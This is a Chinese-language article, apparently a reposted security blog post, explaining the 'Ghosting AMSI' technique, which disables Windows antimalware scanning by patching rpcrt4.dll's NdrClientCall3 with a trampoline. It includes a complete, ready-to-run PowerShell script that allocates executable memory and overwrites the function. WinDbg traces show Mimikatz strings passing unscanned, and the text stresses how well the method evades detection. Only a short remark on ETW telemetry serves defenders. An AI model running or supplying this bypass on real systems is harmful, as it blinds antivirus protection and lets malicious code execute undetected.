导读
Introduction
这篇文章主要介绍了一种名为“Ghosting AMSI”的高级技术,用于绕过Windows系统中反恶意软件扫描接口(AMSI)的扫描机制。作者Andrea Bocchetti详细描述了通过劫持AMSI依赖的RPC(远程过程调用)层,特别是NdrClientCall3函数,来阻止恶意负载被发送到杀毒软件引擎进行扫描的方法。
传统AMSI绕过技术通常涉及修补amsi.dll或修改其内部标志,但这些方法容易被现代杀毒软件检测到。而Ghosting AMSI通过在rpcrt4.dll中设置钩子,拦截并短路AMSI的扫描请求,使其返回成功状态(S_OK)并触发AMSI的回退机制,从而让恶意内容在不被实际扫描的情况下通过检查。这种方法因不直接修改AMSI组件而更隐蔽,有效绕过了杀毒软件的检测,适用于依赖AMSI的多种杀毒提供商。
在本文中,我们探讨如何通过劫持 AMSI 所依赖的 RPC 层(特别是NdrClientCall3 用于调用远程 AMSI 扫描调用的存根)来绕过 AMSI 的扫描逻辑。
该技术利用了 AMSI 的 COM 级架构,该架构通过 RPC 将扫描请求委托给已注册的杀毒软件提供商。通过拦截传递给NdrClientCall3核心 RPC 编组函数的参数,可以在恶意负载被序列化并分发到杀毒引擎之前对其进行抑制。
因此,AMSI 会扫描看似无害的内容,而实际的有效载荷仍然被隐藏。
AMSI组件尝试扫描内容
它尝试使用RPC 与扫描服务进行通信
你的蹦床拦截了这种通信并立即返回,无需实际扫描
AMSI 认为这是一次“成功”,并继续
与传统的 AMSI 绕过技术(通常涉及修补函数AmsiScanBuffer 或设置内部标志)不同amsiInitFailed,这种方法在较低级别运行,通过避免对amsi.dll自身进行任何修改来逃避检测。这些较旧的技术现在受到现代 AV 解决方案通过行为签名和完整性检查的严格监控。
此绕过的核心是rpcrt4.dll!NdrClientCall3,它是 RPC 运行时的一个低级组件,负责将函数参数编组为符合协议的格式并将它们分派到 RPC 服务器。
AMSI 依赖于自动生成的存根,这些存根最终会被调用NdrClientCall3来与 AV 提供商进行通信。通过钩住这个调用,我们能够精准地操纵或短路 AMSI 扫描请求。
1.正常 AMSI 操作
AmsiScanBuffer/AmsiScanString调用 AMSI 基础设施
NdrClientCall3处理与防病毒引擎的 RPC 通信
AV 接收内容,扫描并返回结果
检测到恶意内容时会被阻止
2. AMSI 重影技术:
NdrClientCall3在内存中被修补
它不是向 AV 发出 RPC 调用,而是重定向到跳床
蹦床立即返回S_OK(成功)但出现错误
此特定错误迫使 AMSI 进入其后备路径,RPC 存根永远不会到达防病毒引擎,并且所有内容都会通过而没有进行实际扫描
这就是为什么该技术如此有效——它不会禁用 AMSI 或移除钩子(这些钩子可能会被检测到)。相反,它通过操纵通信通道来利用 AMSI 自身的内置回退机制,使 AMSI 误以为其运行正常,同时阻止任何实际的安全扫描。
这种方法的技术优势在于它比其他绕过技术更隐蔽,因为它在中和扫描的同时保留了正常操作的外观。
🔁 正常流程:
参数被编组——要扫描的内容和其他参数已准备好传输
从 AMSI 基础设施向反恶意软件提供程序(Windows Defender 或第三方 AV)发出 RPC 调用
反恶意软件引擎分析内容并设置适当的AMSI_RESULT值(例如AMSI_RESULT_DETECTED针对恶意内容)
函数返回S_OK表示扫描过程本身已成功完成
返回S_OK值仅表示扫描过程正常运行,并不代表内容安全。实际的安全判定包含在AMSI_RESULT通过输出参数返回的值中。
这是 AMSI Ghosting 绕过漏洞利用的一个重要技术细节。通过返回S_OK但阻止实际扫描的发生,它欺骗系统认为一切正常,从而绕过安全检查。
该技术使杀毒软件的存在对 AMSI 来说几乎不可见。通过定位NdrClientCall3并使用跳床钩,这种绕过技术比大多数其他 AMSI 绕过技术在更深的层面上运作。
这里的关键创新在于,这种技术不是直接攻击 AMSI 或禁用 Windows 安全功能(这可能会触发警报),而是巧妙地拦截组件之间的通信通道,允许恶意内容“隐藏”安全控制。
我们不是在修补 AMSI 或 AV 提供商,而是在劫持它们之间的桥梁。
📡 RPC 转换
这些 API 捕获的相关信息会通过远程过程调用 (RPC) 的进程间通信机制转发到 Windows Defender,经 Windows Defender 分析后返回扫描结果。
在内部,RPC 调用经过:
rpcrt4.dll!NdrClientCall3()← 这是构建并向 Defender 服务发送 RPC 请求的实际函数。
🕳️绕过防守者——Ghosting AMSI
Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public class Mem { [DllImport("kernel32.dll")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize); [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentProcess();}"@$PAGE_EXECUTE_READWRITE = 0x40$MEM_COMMIT = 0x1000$MEM_RESERVE = 0x2000$PATCH_SIZE = 12# Allocate trampoline: mov eax, 0; ret$size = [UIntPtr]::op_Explicit(0x1000)$trampoline = [Mem]::VirtualAlloc([IntPtr]::Zero, $size, $MEM_COMMIT -bor $MEM_RESERVE, $PAGE_EXECUTE_READWRITE)# Exit if trampoline allocation failedif ($trampoline -eq [IntPtr]::Zero) { Write-Error "[-] Failed to allocate trampoline."return}# Write hook: mov eax, 0; ret$hook = [byte](0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3)[System.Runtime.InteropServices.Marshal]::Copy($hook, 0, $trampoline, $hook.Length)# Flush instruction cache$len = [UIntPtr]::op_Explicit($hook.Length)[Mem]::FlushInstructionCache([Mem]::GetCurrentProcess(), $trampoline, $len) | Out-Null# Get function address$lib = [Mem]::LoadLibrary("rpcrt4.dll")$func = [Mem]::GetProcAddress($lib, "NdrClientCall3")if ($func -eq [IntPtr]::Zero) { Write-Error "[-] Failed."return}# Unprotect target memory$oldProtect = 0[Mem]::VirtualProtect($func, [UIntPtr]::op_Explicit($PATCH_SIZE), $PAGE_EXECUTE_READWRITE, [ref]$oldProtect) | Out-Null# Write patch: mov rax, trampoline; jmp rax$trampAddr = $trampoline.ToInt64()$patch = [byte](0x48, 0xB8) + [BitConverter]::GetBytes($trampAddr) + [byte](0xFF, 0xE0)[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $func, $patch.Length)Write-Host "[+] NdrClientCall3 patched - AMSI Ghosting."
📦内存常量
定义通用VirtualAlloc标志VirtualProtect:
$PAGE_EXECUTE_READWRITE = 0x40$MEM_COMMIT = 0x1000$MEM_RESERVE = 0x2000$PATCH_SIZE = 12
使内存RWX和补丁为 12 个字节(64 位mov rax, addr; jmp rax)。
分配
您正在开辟一个新的 0x1000 字节的可执行内存页来承载您的虚假函数(trampoline)。
$trampoline = [Mem]::VirtualAlloc(...)
编写 Trampoline 代码:mov eax, 0;
$hook = [byte[]](0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3)
B8 00 00 00 00= mov eax, 0 ;返回 S_OK (HRESULT 0)
C3= ret ;干净地退出函数
RPC函数命中
在输出的底部,您已到达断点RPCRT4!NdrClientCall3:
Breakpoint 4 hitRPCRT4!NdrClientCall3:00007ff9`2e388060 4cb80000e05c00020000 mov rax,2005CE00000h
您在此处看到的是该函数的修补版本NdrClientCall3。原始函数不会以 开头mov rax, <address>。
该指令4cb80000e05c00020000解码为mov rax, 2005CE00000h将您的蹦床地址加载到 RAX 中。
接下来会跳转到该地址,有效地将 RPC 调用重定向到仅返回 0 的简单函数。当此函数执行时,它不会执行正常的 RPC 通信,而是直接跳转到您的蹦床代码。
干净的版本是:
发生了什么
修改了入口点NdrClientCall3以重定向到您的蹦床
代码包含mov eax, 0; ret
这有效地缩短了 RPC 通信
当 AMSI 尝试使用 RPC 在组件之间进行通信(可能用于判决检查)时,它会因“成功”返回值而短路。
这正是AMSI Ghosting 绕过的工作原理——原始函数的前 12 个字节NdrClientCall3已被重定向到攻击者控制的 trampoline 函数的代码覆盖。原始函数的其余代码仍然存在,但从未执行过。
AMSI 不区分“AV 不可用”和“AV 通信被故意篡改”
为什么它比 RET 补丁更好
我们正在编写一个12 字节的补丁:mov rax, trampoline jmp rax
在控制流保护(CFG)下是安全的:
它不会破坏调用堆栈+避免跳转到意外的内存并保留rax基于的间接调用
🚫 Trampoline Does作用:
PowerShell → AMSI → NdrClientCall3 ↓ [🔀 Trampoline Patch] ↓return S_OK (HRESULT 0) ↓ AMSI believes it's clean ↓ AV is NEVER reached
这就像调用一个函数并说:“嘿,我调用了它。相信我,它说‘一切顺利’。”“没什么问题——继续。”即使根本没有进行任何扫描。
补丁行为:
我们的补丁劫持了NdrClientCall3,迫使它立即返回而不是调用实际的 RPC 调用。
返回值:rax = 0x80070002→ERROR_FILE_NOT_FOUND
这表明 AMSI 的扫描尝试正在被悄悄放弃
这证实了修补已成功——通常与反恶意软件提供程序通信的 RPC 函数已被修改,以返回强制 AMSI 进入其回退路径的响应。即使 Windows Defender 在系统上处于活动状态,AMSI 也无法再与其正常通信。
修补后的 RPC 功能导致 AMSI 的行为好像没有可用的反恶意软件提供程序,从而阻止“Invoke-Mimikatz”字符串被正确分析为潜在的恶意内容。
这正是绕过技术的工作原理——通过操纵 AMSI 和安全提供商之间的通信通道,而不是完全禁用 AMSI。
调用堆栈模式:
正常的 AMSI 扫描流程保持不变:AmsiUtils.ScanContent→CompiledScriptBlockData.PerformSecurityChecks
这证实了 PowerShell 仍在尝试执行安全检查,但您的 RPC 拦截阻止了实际安全判决的正确传达
根据 Red Canary 博客 (链接) 的报道,ScanStatusAMSI 事件的值(通常预期为0(干净)或1(恶意))在修补后会发生变化。这表明 AMSI 的 ETW 遥测数据可能反映了篡改或绕过活动。
根据对 AMSI 及其与反恶意软件扫描界面交互的研究,扫描行为似乎遵循两条不同的执行路径:
主路径(ScanStatus = 1):通过注册的反恶意软件提供程序的标准扫描路线。
辅助路径(ScanStatus = 2):当主路径发生故障时触发的回退机制。
当使用回退路径时,内部 RPC 调用通常会失败,并出现 AMSI 可识别的特定错误代码。从 WinDbg 跟踪中,我们观察到:
ERROR_NOT_READY (0x80070015)- 当没有可用的防病毒软件时,这会出现在“自然”的后备方案中
ERROR_FILE_NOT_FOUND (0x80070002)- 这是使用AMSI Ghosting 绕过时返回的错误代码
当 AMSI 遇到这些特定的错误代码时,它会切换到 ScanStatus=2(后备路径)并自动将结果设置为 AMSI_RESULT_NOT_DETECTED,而不执行实际的安全扫描。
回退机制最初旨在妥善处理反恶意软件提供商不可用的情况,但后来被 AMSI Ghosting 技术通过对 RPC 函数进行战略性修补而利用。
🛣️ AMSI 扫描路径 — 无需修补
🔹ScanStatus = 1(主路径)
RPC 通信成功时触发
AV 收到扫描请求并返回合法
AMSI_RESULT→ 可以是AMSI_RESULT_DETECTED、NOT_DETECTED、 或其他
这是正常的、功能齐全的扫描路径
🔸 ScanStatus = 2(后备路径)
当RPC 失败并出现特定错误代码时触发:
ERROR_NOT_READY (0x80070015)在自然回退场景中,AV 实时被禁用。
ERROR_FILE_NOT_FOUND (0x80070002)在 AMSI Ghosting 绕过中,总是返回AMSI_RESULT_NOT_DETECTED
本质上成为盲扫描仪-没有 AV 可见性,在 AV 无法访问时用作降级模式
以下是 AMSI 扫描过程中的三种不同状态和相关状态代码:
状态 1:活动反恶意软件(正常运行)
扫描状态:1(主路径)
结果代码:0x00000000(成功)
描述:AMSI 成功与 Windows Defender 或其他反恶意软件提供程序通信,并执行实际内容扫描
行为:检测并阻止恶意内容;允许合法内容
状态 2:无可用的反恶意软件(自然回退)
扫描状态:2(后备路径)
结果代码:0x80070015(ERROR_NOT_READY)
描述:AMSI 无法找到或与任何注册的反恶意软件提供商进行通信
行为:允许执行所有内容,因为没有发生扫描
状态 3:AMSI 幽灵(利用回退)
扫描状态:2(后备路径)
结果代码:0x80070002(ERROR_FILE_NOT_FOUND)
描述:AMSI 的通信通道(RPC)已修补,以模拟连接失败
行为:尽管存在且正在运行反恶意软件解决方案,但所有内容仍被允许执行
全流程比较
在所有情况下,PowerShell 都会将“echo 'Invoke-Mimikatz'”传递给 AmsiScanBuffer
1- AMSI 处理:
在所有情况下,内部 AMSI 功能都准备进行扫描
2. RPC通信:
状态 1(主动):RPC 调用成功,参数正常
状态 2(无 AV):RPC 调用失败,因为没有注册任何提供程序
状态 3(绕过):RPC 调用被补丁拦截并返回受控错误
3.路径选择:
状态 1:使用主路径(ScanStatus = 1)
状态 2 和 3:使用后备路径 (ScanStatus = 2)
4.扫描结果:
状态 1:根据内容而变化(对于恶意内容通常为 AMSI_RESULT_DETECTED)
状态 2:ERROR_NOT_READY (0x80070015)
状态 3:ERROR_FILE_NOT_FOUND (0x80070002)
5.最终结果:
状态 1:阻止恶意内容执行
状态 2 和 3:允许执行所有内容
最关键的见解是,状态 3(绕过状态)故意激活 AMSI 的内置回退机制,迫使它表现得好像没有可用的安全提供程序,即使系统上正在积极运行一个安全提供程序。
第三方 AV 提供商:其他防病毒解决方案的架构与之类似。它们注册的 AMSI 提供程序 DLL 可能包含完整的扫描逻辑,或者更常见的是,将数据转发到该供应商的安全服务或引擎。
Ghosting AMSI 绕过方法比传统的 AMSI 绕过方法操作在更低级别的抽象上,通过直接操纵 RPC 通信有效地绕过安全检查。其工作原理如下:
1.PowerShell 启动 AMSI 扫描
PowerShell 调用 AMSI 来分析潜在的恶意内容。
2.AMSI 使用 RPC 调用
AMSI 使用远程过程调用 (RPC) 与防病毒提供商进行内部通信。
3.RPC 调用拦截用于这些通信的
关键 RPC 函数被拦截并重定向到自定义的蹦床函数。NdrClientCall3
4.Trampoline memory patching
您的蹦床函数不会进行修补amsi.dll,而是优雅地拦截并立即返回成功代码(S_OK或0),而无需执行任何实际内容检查。
5.AMSI Neutralized
PowerShell 接收成功代码并将其解释为“内容干净”,认为防病毒提供商不可用。
Ghosting AMSI 技术的优势:
更隐秘的操作:无需直接修改amsi.dll,大大降低了被发现的风险。
没有可疑的 DLL 修补:由于 AMSI DLL 保持不变,典型的内存或完整性检查无法检测到篡改。
完全绕过 AV 层:完全绕过依赖 AMSI 的防病毒检查层。
通用 RPC 兼容性:可有效对抗任何与 AMSI 兼容的 AV,包括依赖 RPC 的第三方实现。
https://github.com/andreisss/Ghosting-AMSI
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...